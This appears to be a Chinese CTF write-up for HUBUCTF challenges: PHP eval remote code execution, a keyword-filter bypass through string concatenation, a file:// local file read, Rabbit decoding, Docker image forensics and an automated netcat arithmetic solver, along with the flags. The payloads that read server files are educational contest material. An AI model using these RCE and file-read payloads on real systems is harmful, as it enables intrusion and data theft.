ez_eval
| 12
 3
 4
 5
 6
 7
 8
 9
 
 |  <?phphighlight_file(__FILE__);
 error_reporting(0);
 
 $hubu = $_GET['hubu'];
 
 eval($hubu);
 
 ?>
 
 | 
先进行代码审计,GET传参hubu,并执行命令,没有任何绕过,放开手脚去做
payload:
| 1
 | ?hubu=system('cat /f*');      #直接rce
 | 
rce_level1
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 
 |  <?phperror_reporting(0);
 if(isset($_GET['c'])){
 $c  = $_GET['c'];
 if(!preg_match("/flag|system|php/i", $c)){
 eval($c);
 }
 }else{
 highlight_file(__FILE__);
 }
 
 | 
代码审计,发现过滤了关键字flag,system,php。
使用拼接绕过构造payload:
| 12
 
 | ?c=('sys'.'tem')(ls);    #发现目录下没有flag文件?c=('sys'.'tem')(cat /f*);   #发现回显空白
 
 | 
不在文件夹里,那可能是在phpinfo里
payload:
没回显…根据代码的过滤可以知道,应该只过滤了三个关键字,可其实并不只过滤了这三个关键字。
经过测试,发现有隐藏过滤,比如关键字php,和一些字符如反斜杠\
最后的payload:
在页面中找到flag。
ez_LFI
考点:伪协议

先随便传一个,/?url=111

代码审计,根据网上查询的parse_url()函数的资料显示:
解析 URL,返回其组成部分,如下:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 
 | <?php$url = 'http://username:password@hostname/path?arg=value#anchor';
 print_r(parse_url($url));
 echo parse_url($url, PHP_URL_PATH);
 ?>
 结果----------------------------------------------------------------------------------------------------
 Array
 (
 [scheme] => http
 [host] => hostname
 [user] => username
 [pass] => password
 [path] => /path
 [query] => arg=value
 [fragment] => anchor
 )
 
 | 
所以必须在传入的url参数中让[host]是localhost。
然后再用file协议读取flag。
payload:
| 1
 | /?url=file://localhost/flag
 | 
HUBUCTF{22290581-9558-4405-9c01-368dc660bf6a}
Misc
Cute Rabbit
考点:rabbit编码
| 1
 | VTJGc2RHVmtYMS91RnhkczF5SU1jdit1K3o0NzFCcDR2aXcrVkNNaS9TU1QyZU5EMFUvSQo=
 | 
签到题,根据题目提示,是rabbit编码,密文末尾的=表示可能是base64,所以是
base64 -> rabbit
HUBUCTF{S0_<u73_R4b6it}
Docker Forensic
考点:docker的使用
根据题目提示,先拉取镜像
| 1
 | docker pull crpi-i24jskxbbxvfxlzp.cn-hangzhou.personal.cr.aliyuncs.com/st4rry/aliyun:ez_docker_forensic
 | 

将镜像压缩到本地

将文件解压到一个目录下,然后切换到该目录。在该目录下有个sha256文件夹,把里面的文件解压
在tmp中找到password

退级,在解压后的一个文件夹里找到flag.txt

使用了加盐算法,密钥就是上面的password,进行解密

HUBUCTF{1_L0v3_D0ck3r_F0r3ns1c_A}
SpeedMath
考点:nc连接,python脚本
先用nc连接

发现会出现算数题目,但是给你输入的时间很短,所以几乎不可能手工做,直接问AI写脚本
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 
 | import socketimport re
 
 def solve_arithmetic_expression(expression):
 """
 解析并计算算术表达式的结果。
 这里假设表达式只包含整数和基本的加减乘除运算。
 """
 try:
 # 使用eval计算表达式的结果,但注意eval的安全性问题
 # 在实际应用中,应该使用更安全的解析方法
 result = eval(expression)
 return result
 except Exception as e:
 print(f"Error evaluating expression '{expression}': {e}")
 return None
 
 def nc_connection(host, port):
 """
 使用Netcat连接到服务器,并自动解答算术题。
 """
 with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
 s.connect((host, port))
 
 while True:
 # 读取服务器发送的数据
 data = s.recv(1024).decode('utf-8').strip()
 
 if not data:
 # 如果没有接收到数据,可能是连接已经关闭
 break
 
 print(f"Received: {data}")
 
 # 使用正则表达式匹配算术题目
 match = re.match(r'Question \d+: (\d+) ([+\-*/]) (\d+) =', data)
 if match:
 num1 = int(match.group(1))
 operator = match.group(2)
 num2 = int(match.group(3))
 
 # 构造算术表达式
 expression = f"{num1} {operator} {num2}"
 
 # 计算正确答案
 correct_answer = solve_arithmetic_expression(expression)
 
 if correct_answer is not None:
 # 将答案发送回服务器(假设服务器期望的是整数答案)
 s.sendall(f"{correct_answer}\n".encode('utf-8'))
 else:
 # 如果无法计算表达式,则退出循环
 print("Failed to solve expression.")
 break
 else:
 # 如果不是算术题目,可能是其他信息或结束信息
 # 这里假设服务器在发送完所有题目后会发送一个非算术题目的消息
 print("Received non-arithmetic message, possibly final message.")
 print(f"Final message: {data}")
 break
 
 # 使用示例
 nc_connection('challenge.hubuctf.cn', 32478)  # 替换为你的服务器主机名和端口号
 
 | 
HUBUCTF{72e53365-bf9c-48db-8327-83b9c9269e7d}